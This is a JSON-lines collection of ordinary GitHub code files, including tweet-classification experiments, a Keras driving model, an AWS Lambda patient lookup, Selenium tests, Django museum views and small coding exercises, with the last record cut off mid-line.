+{"seq_id":"72697349069","text":"#!/usr/bin/env python\n# coding: utf-8\n\n#
\n\n# In[ ]:\n\n\nimport csv\nimport random\nfrom collections import defaultdict, OrderedDict\nfrom operator import add\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom tensorflow import keras\nfrom tensorflow.keras.preprocessing.sequence import pad_sequences\nimport sklearn\nimport sklearn.metrics as sm\nfrom sklearn import svm, tree\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.ensemble import RandomForestClassifier, AdaBoostClassifier, GradientBoostingClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.naive_bayes import BernoulliNB, GaussianNB, MultinomialNB\nfrom sklearn.feature_extraction.text import CountVectorizer\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nimport pandas as pd\n\n\n# In[ ]:\n\n\ndef shuffle_data(X, y):\n combined = list(zip(X, y))\n random.shuffle(combined)\n X[:], y[:] = zip(*combined)\n return X, y\n\n\n# # Get Glove Data\n\n# In[ ]:\n\n\ndef get_glove_data():\n comments = []\n y = []\n dataset_filename='Final Dataset/cleaned_tweets_16K.csv'\n \n with open(dataset_filename,newline='',encoding=\"utf8\") as csvfile:\n csv_reader = csv.reader(csvfile, delimiter=',')\n line_count = 0\n \n for row in csv_reader:\n if line_count == 0:\n print(','.join(row))\n else:\n comments.append(row[1])\n y.append(int(row[0]))\n line_count += 1\n \n num_comments = len(comments)\n print(\"splitting data........\")\n word_arrays = []\n for s in comments:\n word_arrays.append(s.split(' '))\n \n print(\"Getting GLOVE embeddings size 50..\")\n file = open('glove.6B/glove.6B.50d.txt',errors='ignore').readlines()\n gloveDict = {}\n for line in file:\n info = line.split(' ')\n key = info[0]\n vec = []\n for elem in info[1:]:\n vec.append(elem.rstrip())\n gloveDict[key] = vec\n print(len(gloveDict),\"words in the GLOVE dictionary\\n\")\n \n #VECTORISE WORDS\n print(\"converting comments to lists of vectors........\")\n word_vectors = []\n for sentence in word_arrays:\n temp = []\n for word in sentence:\n if word in gloveDict:\n temp.append(gloveDict[word])\n word_vectors.append(temp)\n \n MAX_LEN = 32\n \n print(\"padding vectors to maxlen = \",MAX_LEN,\".....\")\n padded_word_vecs = np.array(pad_sequences(word_vectors, padding='pre', maxlen=MAX_LEN, dtype='float32'))\n padded_word_vecs = padded_word_vecs.reshape((num_comments, -1))\n \n print(\"DONE PRE-PROCESSING\\n\")\n \n #CLASSIFYING\n print(\"splitting\")\n X_train,X_test,y_train,y_test = train_test_split(padded_word_vecs,y,test_size=0.20)\n \n return X_train, X_test, y_train, y_test\n\n\n# # Logistic Regression\n\n# In[ ]:\n\n\n#Logistic Regression\nX_train_logistic, X_test_logistic, y_train_logistic, y_test_logistic = get_glove_data()\n\ngrid_searching = False\nclf = sklearn.linear_model.LogisticRegression(penalty=\"l2\", max_iter=100, solver=\"liblinear\")\nclf = clf.fit(X_train_logistic, y_train_logistic)\n\n#PREDICT\nprint(\"\\nevaluating\")\ny_pred_logistic = clf.predict(X_test_logistic)\nprint(y_pred_logistic)\n\n\n# In[ ]:\n\n\n# EVALUATE\nprint(\"confusion matrix:\\n\", sm.confusion_matrix(y_test_logistic,y_pred_logistic))\nprint(\"accuracy:\", round(sm.accuracy_score(y_test_logistic,y_pred_logistic), 4))\n\n\n# In[ ]:\n\n\nprint(\"recall:\", round(sm.recall_score(y_test_random, y_pred_random), 4))\nprint(\"precision:\", round(sm.precision_score(y_test_random, y_pred_random), 4))\nprint(\"f1 score:\", round(sm.f1_score(y_test_random, y_pred_random), 4))\n\n\n# # Random Forest\n\n# In[ ]:\n\n\n#Logistic Regression\nX_train_random, X_test_random, y_train_random, y_test_random = get_glove_data()\ngrid_searching = False\nclf = RandomForestClassifier(n_estimators=100, max_depth=4)\nclf = clf.fit(X_train_random, y_train_random)\n\n#PREDICT\nprint(\"\\nevaluating\")\ny_pred_random = clf.predict(X_test_random)\nprint(y_pred_random)\n\n\n# In[ ]:\n\n\n# EVALUATE\nprint(\"confusion matrix:\\n\", sm.confusion_matrix(y_test_random,y_pred_random))\nprint(\"accuracy:\", round(sm.accuracy_score(y_test_random,y_pred_random), 4))\n\n\n# In[ ]:\n\n\nprint(\"recall:\", round(sm.recall_score(y_test_random, y_pred_random), 4))\nprint(\"precision:\", round(sm.precision_score(y_test_random, y_pred_random), 4))\nprint(\"f1 score:\", round(sm.f1_score(y_test_random, y_pred_random), 4))\n\n\n# # Bernoulli Naive Bayes\n\n# In[ ]:\n\n\nX_train_bayes, X_test_bayes, y_train_bayes, y_test_bayes = get_glove_data()\ngrid_searching = False\nclf = BernoulliNB()\nclf = clf.fit(X_train_bayes, y_train_bayes)\n\n#PREDICT\nprint(\"\\nevaluating\")\ny_pred_bayes = clf.predict(X_test_bayes)\nprint(y_pred_bayes)\n\n\n# In[ ]:\n\n\n# EVALUATE\nprint(\"confusion matrix:\\n\", sm.confusion_matrix(y_test_bayes,y_pred_bayes))\nprint(\"accuracy:\", round(sm.accuracy_score(y_test_bayes,y_pred_bayes), 4))\n\n\n# In[ ]:\n\n\nprint(\"recall:\", round(sm.recall_score(y_test_bayes, y_pred_bayes), 4))\nprint(\"precision:\", round(sm.precision_score(y_test_bayes, y_pred_bayes), 4))\nprint(\"f1 score:\", round(sm.f1_score(y_test_bayes, y_pred_bayes), 4))\n\n\n# # KNN\n\n# In[ ]:\n\n\nX_train_knn, X_test_knn, y_train_knn, y_test_knn = get_glove_data()\ngrid_searching = False\nclf = KNeighborsClassifier(n_neighbors=3)\nclf = clf.fit(X_train_knn, y_train_knn)\n\n#PREDICT\nprint(\"\\nevaluating\")\ny_pred_knn = clf.predict(X_test_knn)\nprint(y_pred_knn)\n\n\n# In[ ]:\n\n\n# EVALUATE\nprint(\"confusion matrix:\\n\", sm.confusion_matrix(y_test_knn,y_pred_knn))\nprint(\"accuracy:\", round(sm.accuracy_score(y_test_knn,y_pred_knn), 4))\n\n\n# In[ ]:\n\n\nprint(\"recall:\", round(sm.recall_score(y_test_knn, y_pred_knn), 4))\nprint(\"precision:\", round(sm.precision_score(y_test_knn, y_pred_knn), 4))\nprint(\"f1 score:\", round(sm.f1_score(y_test_knn, y_pred_knn), 4))\n\n\n# # Adaboost Classifier\n\n# In[ ]:\n\n\nX_train_adaboost, X_test_adaboost, y_train_adaboost, y_test_adaboost = get_glove_data()\ngrid_searching = False\nclf = AdaBoostClassifier()\nclf = clf.fit(X_train_adaboost, y_train_adaboost)\n\n#PREDICT\nprint(\"\\nevaluating\")\ny_pred_adaboost = clf.predict(X_test_adaboost)\nprint(y_pred_adaboost)\n\n\n# In[ ]:\n\n\n# EVALUATE\nprint(\"confusion matrix:\\n\", sm.confusion_matrix(y_test_adaboost,y_pred_adaboost))\nprint(\"accuracy:\", round(sm.accuracy_score(y_test_adaboost,y_pred_adaboost), 4))\n\n\n# In[ ]:\n\n\nprint(\"recall:\", round(sm.recall_score(y_test_adaboost, y_pred_adaboost), 4))\nprint(\"precision:\", round(sm.precision_score(y_test_adaboost, y_pred_adaboost), 4))\nprint(\"f1 score:\", round(sm.f1_score(y_test_adaboost, y_pred_adaboost), 4))\n\n\n# # SVM\n\n# In[ ]:\n\n\nX_train_svm, X_test_svm, y_train_svm, y_test_svm = get_glove_data()\ngrid_searching = False\nclf = svm.SVC(C=10, kernel=\"rbf\", gamma=0.001)\nclf = clf.fit(X_train_svm, y_train_svm)\n\n#PREDICT\nprint(\"\\nevaluating\")\ny_pred_svm = clf.predict(X_test_svm)\nprint(y_pred_svm)\n\n\n# In[ ]:\n\n\n# EVALUATE\nprint(\"confusion matrix:\\n\", sm.confusion_matrix(y_test_svm,y_pred_svm))\nprint(\"accuracy:\", round(sm.accuracy_score(y_test_svm,y_pred_svm), 4))\n\n\n# In[ ]:\n\n\nprint(\"recall:\", round(sm.recall_score(y_test_svm, y_pred_svm), 4))\nprint(\"precision:\", round(sm.precision_score(y_test_svm, y_pred_svm), 4))\nprint(\"f1 score:\", round(sm.f1_score(y_test_svm, y_pred_svm), 4))\n\n\n# # Decision Tree\n\n# In[ ]:\n\n\nX_train_tree, X_test_tree, y_train_tree, y_test_tree = get_glove_data()\ngrid_searching = False\nclf = clf = tree.DecisionTreeClassifier()\nclf = clf.fit(X_train_tree, y_train_tree)\n\n#PREDICT\nprint(\"\\nevaluating\")\ny_pred_tree = clf.predict(X_test_tree)\nprint(y_pred_tree)\n\n\n# In[ ]:\n\n\n# EVALUATE\nprint(\"confusion matrix:\\n\", sm.confusion_matrix(y_test_tree,y_pred_tree))\nprint(\"accuracy:\", round(sm.accuracy_score(y_test_tree,y_pred_tree), 4))\n\n\n# In[ ]:\n\n\nprint(\"recall:\", round(sm.recall_score(y_test_tree, y_pred_tree), 4))\nprint(\"precision:\", round(sm.precision_score(y_test_tree, y_pred_tree), 4))\nprint(\"f1 score:\", round(sm.f1_score(y_test_tree, y_pred_tree), 4))\n\n","repo_name":"tarekhemdan/Cyberbullying","sub_path":"Twitter_16k_Glove.py","file_name":"Twitter_16k_Glove.py","file_ext":"py","file_size_in_byte":8289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"27880176236","text":"import cv2\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport keras\nfrom keras.models import Sequential\nfrom keras.layers import Flatten, Dense, Lambda, Cropping2D, Dropout, Activation\nfrom keras.layers.convolutional import Convolution2D\n\n#Load Training Data\nX_Train = np.load('X_Train_Raw.npy')\ny_Train = np.load('y_Train_Raw.npy')\nprint(X_Train.shape)\nprint(y_Train.shape)\n\n# Modified PilotNet\nkeep_prob = 0.5 #Dropout keep probability\nbatch_size = 64 #Batch size\nmodel = Sequential()\n# Normalization\nmodel.add(Lambda(lambda x: x / 255.0 - 0.5,\n\tinput_shape=(160,320,3)))\n# Crop\nmodel.add(Cropping2D(cropping=((50,25),(0,0))))\n# Start conv layers\nmodel.add(Convolution2D(24,5,5, subsample=(2,2), init='normal'))\nmodel.add(Convolution2D(36,5,5, subsample=(2,2), init='normal'))\nmodel.add(Convolution2D(48,5,5, subsample=(2,2), \n\tinit='normal', activation='elu'))\nmodel.add(Dropout(keep_prob)) # Dropout #1\nmodel.add(Convolution2D(64,3,3, subsample=(1,1), init='normal'))\nmodel.add(Convolution2D(64,3,3, subsample=(1,1), \n\tinit='normal', activation='elu'))\nmodel.add(Dropout(keep_prob)) # Dropout #2\n# Start of fully connected layers\nmodel.add(Flatten())\nmodel.add(Dense(100, init='normal', activation='tanh'))\nmodel.add(Dropout(keep_prob)) # Dropout #3\nmodel.add(Dense(50, init='normal'))\nmodel.add(Dense(10, init='normal'))\nmodel.add(Dense(1, init='normal'))\n\n# Train Model (MSE + Adam)\nmodel.compile(loss='mse', optimizer='adam')\nmodel.fit(X_Train, y_Train, validation_split=0.2, \nshuffle=True, nb_epoch=1, batch_size=batch_size)\n\nmodel.save('model.h5')\nexit()","repo_name":"t-mccawley/Udacity-SelfDrivingCar-T1P3","sub_path":"model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":1570,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"14415160738","text":"import json\nimport boto3\nimport datetime\nfrom botocore.exceptions import ClientError\nfrom boto3.dynamodb.conditions import Key\n\n\ndef lambda_handler(event, context):\n try:\n dynamodb = boto3.resource('dynamodb')\n patientId = event['pathParameters']['id']\n patient_table = dynamodb.Table('patients')\n\n patient_response = patient_table.query(\n KeyConditionExpression=Key('patient_id').eq(patientId)\n )\n\n patient = patient_response['Items'][0]\n return {\n 'statusCode': 200,\n 'headers': {\n 'Content-Type': 'application/json',\n 'Access-Control-Allow-Headers': '*',\n 'Access-Control-Allow-Origin': '*',\n 'Access-Control-Allow-Methods': '*',\n },\n 'body': json.dumps({'Patient': patient})\n }\n except Exception as e:\n return {\n 'statusCode': 400,\n 'headers': {\n 'Content-Type': 'application/json',\n 'Access-Control-Allow-Headers': '*',\n 'Access-Control-Allow-Origin': '*',\n 'Access-Control-Allow-Methods': '*',\n },\n 'body': json.dumps({'Patient': f\"Error: {e}\"})\n }\n","repo_name":"Weiyao-Li/CureSphere","sub_path":"Lambda/getPatient.py","file_name":"getPatient.py","file_ext":"py","file_size_in_byte":1250,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"14141004005","text":"class Solution(object):\n def moveZeroes(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: None Do not return anything, modify nums in-place instead.\n \"\"\"\n front = 0 \n back = len(nums)-1\n counter = 0 \n \n # sorts the array and puts number in place \n for number in nums:\n if number != 0:\n nums[front] = number \n front += 1\n else:\n counter += 1\n \n # add the zeros to the end of the array\n for i in range(counter):\n nums[back] = 0\n back -= 1\n\n return nums","repo_name":"AndrewIO47/leetcode","sub_path":"leetcode-comeback/array/move-zeroes.py","file_name":"move-zeroes.py","file_ext":"py","file_size_in_byte":640,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"34422067937","text":"#! /usr/bin/python 3\n# -*- coding:UTF8 -*-\nfrom time import sleep\n\nfrom practice.web.base import Base\n\n\nclass TestJs(Base):\n def test_js(self):\n self.driver.get(\"http://www.baidu.com\")\n self.driver.find_element_by_id(\"kw\").send_keys(\"selenium测试\")\n # execute_script执行js,return 返回js的返回结果\n ele = self.driver.execute_script(\"return document.getElementById('su')\")\n ele.click()\n # 获取当前页面的滚动条纵坐标位置\n # 滚动到底部,点击下一页\n self.driver.execute_script(\"document.documentElement.scrollTop=10000\")\n self.driver.find_element_by_xpath(\"//*[@id='page']/div/a[10]\").click()\n sleep(3)\n for code in[\n 'return document.title','return JSON.stringify(performance.timing)'\n ]:\n print(self.driver.execute_script(code))\n\n\n # 修改时间控件:时间控件一般都是readonly\n # 取消日期的readonly属性\n # 给value赋值\n def test_js_time(self):\n self.driver.get(\"https://www.12306.cn/index/\")\n self.driver.execute_script(\"document.getElementById('train_date')\")\n print(self.driver.execute_script(\n \"return a = document.getElementById('train_date') ,document.getElementById('train_date').removeAttribute('readonly'),a.value = '2020-12-03'\"))\n","repo_name":"chensaijun/HogwartsSDET15-homework","sub_path":"test/web/test_json.py","file_name":"test_json.py","file_ext":"py","file_size_in_byte":1349,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"40251943614","text":"from django.contrib import messages\nfrom django.core.exceptions import ObjectDoesNotExist\nfrom django.core.paginator import Paginator\nfrom django.db.models import Count, Q\nfrom django.http import Http404, HttpRequest, HttpResponse\nfrom django.shortcuts import redirect, render\nfrom django.views.decorators.http import require_GET, require_POST\n\nfrom tag.models import Tag\nfrom utils.pagination import pagination\n\nfrom .models import Author, Church, Engraving, Painting\n\n\n@require_GET\ndef home(request: HttpRequest) -> HttpResponse:\n current_page = int(request.GET.get('page', 1))\n paintings = Painting.objects.filter(is_published=True).order_by('-id')\n paintings = paintings.select_related('church', 'post_author') \\\n .defer('description', 'is_published')\n paintings = paintings.prefetch_related('engraving', 'author') \\\n .defer('engraving__book', 'engraving__cover')\n\n page = pagination(paintings, current_page)\n return render(request, 'museum/pages/home.html', {\n 'page':page,\n 'obras':'-selected',\n 'search_action': 'painting:search',\n 'placeholder': 'Pesquise as obras pelo nome ou pelo resumo',\n })\n\n@require_GET\ndef detail_painting(request: HttpRequest, painting_id: int) -> HttpResponse:\n try:\n painting = Painting.objects.select_related('church', 'post_author').prefetch_related('engraving__author', 'author').get(pk=painting_id, is_published=True)\n engravings = painting.engraving.all()\n except ObjectDoesNotExist:\n raise Http404('Objects not found in database')\n\n return render(request, 'museum/pages/detail_painting.html', {\n 'painting': painting,\n 'engravings':engravings,\n 'range': [i+1 for i in range(engravings.count())],\n 'isDetailPage': True,\n 'searchbar': False,\n \n })\n\n@require_GET\ndef tags_paintings(request, slug):\n current_page = int(request.GET.get('page', 1)) \n paintings = Painting.objects.filter(tag__slug=slug)\n tag_name = Tag.objects.get(slug=slug).name\n page = pagination(paintings, current_page)\n return render(request, 'museum/pages/tag_paintings.html', {\n 'page':page,\n 'tag_name': tag_name,\n })\n\n@require_GET\ndef churches(request:HttpRequest) -> HttpResponse:\n churches_paintings = []\n churches = Church.objects.filter(painting__is_published = True).distinct().order_by('-id')\n churches = churches.annotate(\n num_paintings=Count('painting')\n )\n for church in churches:\n paintings_number = church.num_paintings\n if paintings_number > 0:\n churches_paintings.append((church, paintings_number))\n \n return render(request, 'museum/pages/search_church.html',{\n 'churches': churches_paintings,\n 'filterChurch': 'selected',\n 'igrejas': '-selected',\n 'search_action': 'painting:search',\n 'placeholder': 'Pesquise as igrejas pelo nome, cidade ou estado',\n })\n\n\n@require_GET\ndef detail_church(request: HttpRequest, id_church: int) -> HttpResponse:\n filter = request.GET.get('filter', '')\n current_page = int(request.GET.get('page', 1))\n paintings = Painting.objects.filter(church__id=id_church, is_published=True).order_by('-id')\n paintings = paintings.select_related('church', 'post_author')\n paintings = paintings.prefetch_related('engraving', 'author')\n\n \n if not paintings:\n raise Http404(\"there are no paintings related to this church id\")\n church = paintings.first().church\n \n if filter == 'churches':\n search = request.GET.get('q', '')\n paintings = paintings.filter(Q(\n Q(name__icontains=search) | Q(summary__icontains=search)\n ))\n \n page = pagination(paintings, current_page)\n return render(request, 'museum/pages/church.html', {\n 'page':page,\n 'church': church,\n 'filterChurch': 'selected',\n 'placeholder': 'Pesquise pelas obras dessa igreja.',\n 'limparPesquisa': True if filter == 'churches' else False,\n 'search_result': search if filter == 'churches' else False,\n \n })\n\n@require_GET\ndef painters(request: HttpRequest) -> HttpResponse:\n painter_paintings = []\n painters = Author.objects.filter(painting__is_published = True).distinct().order_by('-id')\n painters = painters.annotate(\n num_paintings = Count('painting')\n )\n for painter in painters:\n paintings_number = painter.num_paintings\n painter_paintings.append((painter, paintings_number))\n \n return render(request, 'museum/pages/search_painter.html',{\n 'painters': painter_paintings,\n 'filterPainter': 'selected',\n 'pintores': '-selected',\n 'search_action': 'painting:search',\n 'placeholder': 'Pesquise os pintores pelo nome',\n })\n\n@require_GET\ndef detail_painter(request: HttpRequest, id_painter: int)-> HttpResponse:\n filter = request.GET.get('filter', '')\n try:\n painter = Author.objects.get(pk=id_painter)\n paintings_this_painter = painter.painting_set.filter(is_published=True).order_by('-id')\n paintings_this_painter = paintings_this_painter.select_related('church', 'post_author').defer('church__city','church__state', 'description')\n paintings_this_painter = paintings_this_painter.prefetch_related('engraving', 'author').defer('engraving__book', 'author__biography')\n \n except ObjectDoesNotExist:\n raise Http404(\"Painter doesn't found in this database!\")\n \n current_page = int(request.GET.get('page', 1))\n \n if filter == 'painters':\n search = request.GET.get('q', '')\n paintings_this_painter = paintings_this_painter.filter(Q(\n Q(name__icontains=search) | Q(summary__icontains=search)\n ))\n\n page = pagination(paintings_this_painter, current_page)\n return render(request, 'museum/pages/painter.html', {\n 'painter': painter,\n 'page': page,\n 'filterPainter': 'selected',\n 'placeholder': 'Pesquise pelas obras desse pintor.',\n 'limparPesquisa': True if filter == 'painters' else False,\n 'search_result': search if filter == 'painters' else False,\n\n })\n\n@require_GET\ndef engravings(request: HttpRequest) -> HttpResponse:\n engraving_paintings = []\n engravings = Engraving.objects.filter(painting__is_published = True).distinct().order_by('-id')\n for engraving in engravings:\n paintings_number = engraving.painting_set.filter(is_published=True).count()\n engraving_paintings.append((engraving, paintings_number))\n \n return render(request, 'museum/pages/search_engraving.html',{\n 'engravings': engraving_paintings,\n 'filterEngraving': 'selected',\n 'gravuras': '-selected',\n 'search_action': 'painting:search',\n 'placeholder': 'Pesquise a gravura pelo nome ou livro',\n })\n\n@require_GET\ndef detail_engraving(request: HttpRequest, id_engraving:int) -> HttpResponse:\n try:\n engraving = Engraving.objects.get(pk=id_engraving)\n if not engraving.painting_set.filter(is_published=True).exists():\n raise Http404(\"Gravura não encontrada\")\n except ObjectDoesNotExist:\n raise Http404(\"Gravura não encontrada\")\n \n return render(request, 'museum/pages/detail_engraving.html', {\n 'engraving': engraving,\n 'search': False,\n })\n\n@require_GET\ndef search(request: HttpRequest)-> HttpResponse:\n filter = request.GET.get(\"filter\", \"paintings\")\n search = request.GET.get(\"q\", \"\")\n current_page = int(request.GET.get('page', 1))\n \n if filter == 'paintings':\n template = 'museum/pages/search_painting.html'\n paintings = Painting.objects.filter(\n Q(\n Q(name__icontains=search) | Q(summary__icontains=search) \n ) & Q(is_published=True)\n ).order_by('-id')\n paintings = paintings.select_related('church', 'post_author').prefetch_related('engraving', 'author')\n page = pagination(paintings, current_page)\n return render(request, template, {\n 'page': page,\n 'search_result': search,\n 'is_search': True,\n 'filter': filter,\n 'obras': '-selected',\n 'placeholder': 'Pesquise as obras pelo nome ou pelo resumo',\n })\n\n if filter == 'churches':\n template = 'museum/pages/search_church.html'\n churches_with_paintings_published = []\n churches = Church.objects.filter(\n Q(\n Q(name__icontains=search) | Q(city__icontains=search) | Q(state__icontains=search)\n ) \n ).order_by('-id')\n \n\n for church in churches:\n painting_this_church = church.painting_set.filter(is_published=True).count()\n if painting_this_church > 0:\n churches_with_paintings_published.append((church, painting_this_church))\n\n return render(request, template,{\n 'churches': churches_with_paintings_published,\n 'search_result': search,\n 'filterChurch': 'selected',\n 'igrejas': '-selected',\n 'placeholder': 'Pesquise as igrejas pelo nome, cidade ou estado',\n })\n \n if filter == \"painters\":\n template = 'museum/pages/search_painter.html'\n painters_with_paintings_published = []\n authors = Author.objects.filter(name__icontains=search).order_by('-id')\n\n for painter in authors:\n paintings_this_painter = painter.painting_set.filter(is_published=True).count()\n if paintings_this_painter > 0:\n painters_with_paintings_published.append((painter, paintings_this_painter))\n \n\n return render(request, template,{\n 'painters': painters_with_paintings_published,\n 'search_result': search,\n 'filterPainter': 'selected',\n 'pintores': '-selected',\n 'placeholder': 'Pesquise os pintores pelo nome',\n })\n\n@require_GET\ndef detail_painting_not_published(request: HttpRequest, painting_id: int) -> HttpResponse:\n try:\n painting = Painting.objects.select_related('church', 'post_author').prefetch_related('author', 'engraving__author').get(pk=painting_id, is_published=False)\n engravings = painting.engraving.all()\n except ObjectDoesNotExist:\n raise Http404('Objects not found in database')\n \n return render(request, 'museum/pages/detail_painting_edit.html', {\n 'painting': painting,\n 'engravings': engravings,\n 'range': [i+1 for i in range(engravings.count())],\n 'isDetailPage': True,\n 'search':False,\n 'edit': True,\n \n })\n\n@require_GET\ndef info(request: HttpRequest) -> HttpResponse:\n return render(request, 'museum/pages/info.html', {\n 'searchbar': False,\n 'sobre': '-selected',\n })\n","repo_name":"GuilhermeGonSoares/Art-Museum","sub_path":"museum/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":10931,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"29612539004","text":"class Settings:\r\n \"\"\"Settings of the game\"\"\"\r\n\r\n def __init__(self):\r\n # Screen settings\r\n self.screen_width = 1200\r\n self.screen_height = 700\r\n self.background_color = (255, 255, 255)\r\n # Spaceship settings\r\n self.spaceship_speed = 0.7\r\n self.spaceship_lives = 3\r\n # Bullet settings\r\n self.bullet_speed = 1\r\n self.bullet_width = 4\r\n self.bullet_height = 10\r\n self.bullet_color = (60, 60, 60)\r\n self.bullets_allowed_scr = 3\r\n # Alien settings\r\n self.alien_speed = 1\r\n self.fleet_speed_drop = 10\r\n self.fleet_direction = 1\r\n","repo_name":"Portos97/Alien_shooter","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"45191633569","text":"import math\n\nlength, k = list(map(int, input().split()))\narr = list(map(lambda x: int(x) % k, input().split()))\n\nsetLength = 0\n\nfor i in range(1, int(math.ceil(k / 2))):\n count = arr.count(i)\n complementaryCount = arr.count(k - i)\n setLength += max(count, complementaryCount)\n\nif k / 2 in arr:\n setLength += 1\nif 0 in arr:\n setLength += 1\n\nprint(setLength)\n\n# correct\n","repo_name":"hasnain-cyber/competitive-programming","sub_path":"hackerrank/non-divisible-subset.py","file_name":"non-divisible-subset.py","file_ext":"py","file_size_in_byte":383,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"29247931115","text":"#Name:Pravalika Rao Chitneni\n#CompletionDate:18/11/2023 10.40AM\n\nimport random\n\n#is_prime(parameter)\n#Accepts usrInput\n#Returns boolean true/false\n#This method checks passed parameter is primeNumber or Not\ndef is_prime(generatedNumber):\n if generatedNumber <= 1:\n return False\n for i in range(2, int(generatedNumber**0.5) + 1):\n if generatedNumber % i == 0:\n return False\n return True\n\n#generate_random_number(parameter1,parameter2)\n#Accepts two userInputs\n#Returns primeNumber which is generated randomly\ndef generate_random_number(usrInput_2, usrInput_3):\n while True:\n generated_RandomNumber = random.randint(usrInput_2, usrInput_3)\n if is_prime(generated_RandomNumber):\n return generated_RandomNumber\n\n#countCheck(parameter_1,parameter_2)\n#it will checks length of the primesnumbers count and checks count\n\ndef countCheck(usrInput_2, usrInput_3):\n count = 0\n for num in range(usrInput_2, usrInput_3 + 1):\n if is_prime(num):\n count += 1\n return count\n\n#number_of_primes_in_the_range(userInput1, userInput2, userInput3)\n#In this method we need to collect the primeNumbers which are generated randomly\n#Here we used set to collect the unique numbers\n#And the set was type casted to list\n#List was manipulated\n#printed list and reversed list and find the max and min of the list\ndef number_of_primes_in_the_range(userInput1, userInput2, userInput3):\n primes = set()\n while len(primes) < userInput1:\n random_prime = generate_random_number(userInput2, userInput3)\n primes.add(random_prime)\n resultList= list(primes)\n print(\"The generated random number list:\")\n print(resultList)\n print(resultList[::-1])\n print(\"The minimum and maximum prime numbers are :\",max(resultList),\"and\",min(resultList))\n\n\n#main()\n#Is's more like a wrapper method\n#because we have called all the methods\n#and achieved the output\ndef main(input_values):\n\n while True:\n try:\n if len(input_values) != 3:\n raise ValueError()\n\n usrInput_1,usrInput_2, usrInput_3=input_values\n if usrInput_1 <= 0:\n raise ValueError()\n\n if usrInput_2 >= usrInput_3:\n raise ValueError()\n\n if countCheck(usrInput_2,usrInput_3) < usrInput_1:\n raise ValueError()\n break\n except ValueError as e:\n print()\n\n number_of_primes_in_the_range(usrInput_1,usrInput_2,usrInput_3)\n\nif __name__ == \"__main__\":\n print(\"Provide inputs of 3 integers from the keyboard\")\n print(\"The 1st is the number of unique prime numbers to be created;\")\n print(\"The 2nd and 3rd define the range of those prime numbers.\")\n input_values = list(map(int, input(\"Enter those 3 integers seperated by space :\").split()))\n main(input_values)\n\n\n\n\n","repo_name":"thappeta/PyhtonAssignment","sub_path":"Lab5BCoding/Lab5B02.py","file_name":"Lab5B02.py","file_ext":"py","file_size_in_byte":2851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"72578027148","text":"\"\"\"\n\"\"\"\n\nfrom server.utils import *\nfrom server.models.product import Product\nfrom server.data.product_data import ProductData\n\n\nclass ProductController(object):\n _productData = ProductData()\n\n def __init__(self):\n pass\n\n def get_list(self, q=None, offset=0, fetch=20):\n product_list = None\n try:\n product_list = self._productData.get_list(q, offset, fetch)\n except:\n raise\n\n return product_list\n\n\n def get(self, product_id):\n product_dict = None\n try:\n product_dict = self._productData.get(product_id)\n except:\n raise\n\n return product_dict\n\n\n def create(self, product):\n product_dict = None\n try:\n product_dict = self._productData.create(product)\n except:\n raise\n\n return product_dict\n\n\n def update(self, product):\n product_dict = None\n try:\n return self._productData.update(product)\n except:\n raise\n \n return product_dict\n\n \n def delete(self, product_id):\n return self._productData.delete(product_id)\n","repo_name":"hyoungsookim/banzee","sub_path":"server/controller/product_controller.py","file_name":"product_controller.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"}
+{"seq_id":"37748043114","text":"from accommodations.models import *\nfrom accommodations.serializers import *\nfrom accounts.models import *\nfrom accounts.serializers import *\n\n\ndef accommodation_list(accommodations):\n context = []\n for accommodation in accommodations:\n rooms = Room.objects.filter(building=accommodation, is_verified=True).order_by('rent')\n perks = Perk.objects.filter(building=accommodation)\n if rooms.exists():\n serialized_accommodation = BuildingSerializer(accommodation).data\n serialized_accommodation['starting_rent'] = rooms[0].rent\n serialized_accommodation['perks'] = PerkSerializer(perks, many=True).data\n context.append(serialized_accommodation)\n return context\n\n\ndef accommodation_detail(accommodation, owner=False):\n context = BuildingSerializer(accommodation).data\n if owner:\n rooms = Room.objects.filter(building=accommodation)\n else:\n rooms = Room.objects.filter(building=accommodation, is_verified=True)\n perks = Perk.objects.filter(building=accommodation)\n photos = BuildingPhoto.objects.filter(building=accommodation)\n context['rooms'] = RoomSerializer(rooms, many=True).data\n context['photos'] = BuildingPhotoSerializer(photos, many=True).data\n context['perks'] = PerkSerializer(perks, many=True).data\n return context\n\n\ndef room_detail(room):\n context = RoomSerializer(room).data\n bookings = Booking.objects.filter(room=room)\n context['bookings'] = []\n for booking in bookings:\n seeker = booking.user\n context['bookings'].append(\n {\n 'booking_no': booking.booking_no,\n 'user': seeker.user.username,\n 'first_name': seeker.user.first_name,\n 'last_name': seeker.user.last_name,\n 'phone_number': seeker.user.phone_number,\n 'booking_date': booking.booking_date\n }\n )\n return context\n\n\ndef bookmark_list(bookmarks):\n context = BookmarkSerializer(bookmarks, many=True).data\n for bookmark in context:\n building_id = bookmark['building']\n building = Building.objects.filter(id=building_id)\n bookmark['building'] = accommodation_list(building)[0]\n return context\n\n\ndef booking_details(booking):\n context = {}\n room = booking.room\n building = room.building\n owner = building.owner.user\n context['booking'] = BookingSerializer(booking).data\n context['room'] 